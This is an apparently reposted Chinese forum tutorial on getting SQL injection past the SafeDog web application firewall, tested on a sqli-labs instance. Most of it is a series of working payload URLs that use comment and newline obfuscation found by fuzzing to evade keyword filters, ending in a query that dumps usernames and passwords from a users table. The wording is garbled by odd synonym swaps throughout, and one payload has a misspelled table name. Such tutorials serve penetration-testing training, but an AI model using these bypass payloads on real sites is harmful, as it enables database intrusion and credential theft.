ToB企服应用市场:ToB评测及商务社交产业平台

标题: SQL注入绕过安全狗的waf防火墙,这一篇就够了,8k文案超详细_mysql注入绕wa [打印本页]

作者: 前进之路    时间: 2024-10-16 08:50
标题: SQL注入绕过安全狗的waf防火墙,这一篇就够了,8k文案超详细_mysql注入绕wa
安全狗WAF绕过系列

一、WAF概述

WAF(Web应用防火墙)作为一种专为Web应用步伐计划的安全防护工具,其焦点功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略,来增强Web应用的安全性。WAF内置了精心计划的检测逻辑与规则集,这些规则旨在对每一个进入系统的请求内容举行细致检察,并对任何违反安全策略的请求采取即时且有效的防御步伐,从而维护Web应用环境的纯净与安全。
二、WAF工作机制详解

WAF的工作流程精心构建,涵盖四个关键环节:预处置惩罚、规则匹配、响应处置惩罚以及日志记载,共同编织成一张精密的安全防护网。
三、常见的waf绕过姿势

常见的WAF(Web应用防火墙)绕过姿势包括但不限于以下几种:
请留意,上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗出测试和网络攻击黑白法行为,可能会对个人和组织造成严重的法律后果。在举行任何渗出测试之前,请确保已获得正当授权。
四、安全狗绕过姿势

环境:phpstudy—apache2.4.39
安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html
在开始之前,如果没有sql注入基础的的童鞋,还请观看我的另外一篇文章,1w字超详细剖析。
以下内容皆使用sqli第一关举行测试

image-20240716111521447
测试 id=1’ and 1=1
  1. http://192.168.209.131/Less-1/?id=-1' and 1=1
复制代码

image-20240715165511624
在之前的实验中,我们发现直接使用“and 1=1”这种方法好像并不奏效,这很可能是因为安全狗系统辨认并过滤了“and”这个词。为了更深入地了解安全狗是如何辨认并拦截这类操纵的,我们可以实验将“and 1=1”举行拆分
  1. http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+
  2. http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+
复制代码
发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是辨认到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定举行实验。
  1. http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+
  2. http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+
复制代码
实验结果,证明白确实是and+空格+字符串的格式会被拦截。
这里我们就可以开始实验利用**「注释符」「回车符%0a」**等来代替空格举行绕过了!!
在此输入:
  1. http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+
复制代码
发现依旧不可,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的**「注释符」中然后点击发送到「intruder」**模块,选择如下:

image-20240715170533486
然后,点击pyload,选择**「暴力破解」**(Brute forcer):

image-20240715170457261
attack,开始攻击,安全狗有流量攻击的防御,后面可能会被拦截,办理办法直接**「重启」**apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个请求乐成payload(检查response即可查察是否乐成,如果用户名正常显示,说明该字符payload安全狗没有举行拦截)。

image-20240715170405683
我们任意娶一个/!*得到payload和注释符拼接/*/!**/,这个时候and和后面的1=1之间用这个拼接的符号举行连接即可
  1. http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+
复制代码
可以绕过了

image-20240715170823637
order by测试,我们用之前的测试结果,利用/*/!**/这一个充当空格,测试**「order by 3」**,然后看看能否乐成?
  1. http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+
复制代码

image-20240715172306698
完善,接下来测试连合注入。平常测试union select:
  1. http://192.168.209.131/Less-1/?id=1' union select --+
复制代码

image-20240715172414774
union关键字测试,有回显
  1. http://192.168.209.131/Less-1/?id=1' union --+
复制代码

image-20240715172507322
select关键字测试,有回显
  1. http://192.168.209.131/Less-1/?id=1' select --+
复制代码

image-20240715172540647
已知安全狗WAF对连合注入的拦截规则是辨认到union select字符串。为了探索是否能利用注释符绕过这一规则,我决定接纳与之前相同的方法,利用Burp举行抓包,并增强**「fuzz测试」**中的参数举行暴力破解实验。

image-20240715205818846
任意选择几个1002长度的响应结果

image-20240715205744548
这里我们选择payload,取/!*!/,构造注释符+payload,为/*/!*!/*/,插入union和select之间,绕过乐成
  1. http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+
复制代码

image-20240715210114937
这里尚有一个思绪,可以利用--+%0a这种格式通过换行继承执行,这里我们试一下看看:
   ❝
  Tips:我的另一篇sql注入文章有写过%0a的作用,配景回复【sql注入】【sql】等关键字即可查察
  ❞
  1. http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+
  2. 相当于在普通sql语句中的
  3. http://192.168.5.64/Less-1/?id=-1' union/*!--+/*
  4. select 1,database(),3*/ --+
复制代码

image-20240715211304899
实验报数据库
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+
复制代码
发现database()被拦截了

image-20240715211803058
我们把database的()给去掉
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+
复制代码
报错,此时就可以确定,安全狗应该是将database()举行检测

image-20240715212006918
然后我们继承使用注释符或者内联注释符看看吧:
继承接纳burp的**「fuzz测试」**:添加上变量

image-20240715213751892
扫出来4个/可以用,最简单的

image-20240715213840696
和之前一样,就不夸大了,取注释符+payload,构造payload
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),3 --+
复制代码

image-20240715214011786
乐成了!接下来一个一个关键词测试,group_concat()
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) --+
复制代码

image-20240715214342969
没有拦截,继承from
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from --+
复制代码

image-20240715214416033
informtion_schema.tables,结果就不可了
  1. http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from informtion_schema.tables --+
复制代码

image-20240715215224759
测试%0a
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
  4. information_schema.tables*/
复制代码

image-20240716093748206
测试查当前数据库的表名,前面已经测试过database()了
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
  4. information_schema.tables*/where table_schema=database/**/() --+
复制代码

image-20240716093930467
爆字段,测试到and,table_name都没拦截
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
  4. information_schema.tables*/where table_schema=database/**/() and table_name --+
复制代码

image-20240716095210635
直到table_name后面加了个=
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name=%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
  4. information_schema.tables*/where table_schema=database/**/() and table_name= --+
复制代码

image-20240716095144657
那么开始**「fuzz测试」**爆破

image-20240716103253642
任意娶一个payload和注释符举行拼接,如下
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20table_name/*/***/=%22users%22%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
  4. information_schema.columns*/where table_schema=database/**/() and table_name/*/***/="users" --+
复制代码

image-20240716103446751
回车%0a的绕过方式
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
  4. information_schema.columns*/where table_schema=database/**/() and /*!-- /*
  5. table_name*/="users" --+
复制代码

image-20240716103752507
爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator ‘-’
  1. http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+
  2. 相当于
  3. http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(id,username,password separator '-') from /*!-- /*
  4. users*/ --+
复制代码

image-20240716104419572
末了

从期间发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我包管知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个风趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗出测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗出测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
如果你对网络安全入门感爱好,那么你需要的话可以点击这里




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4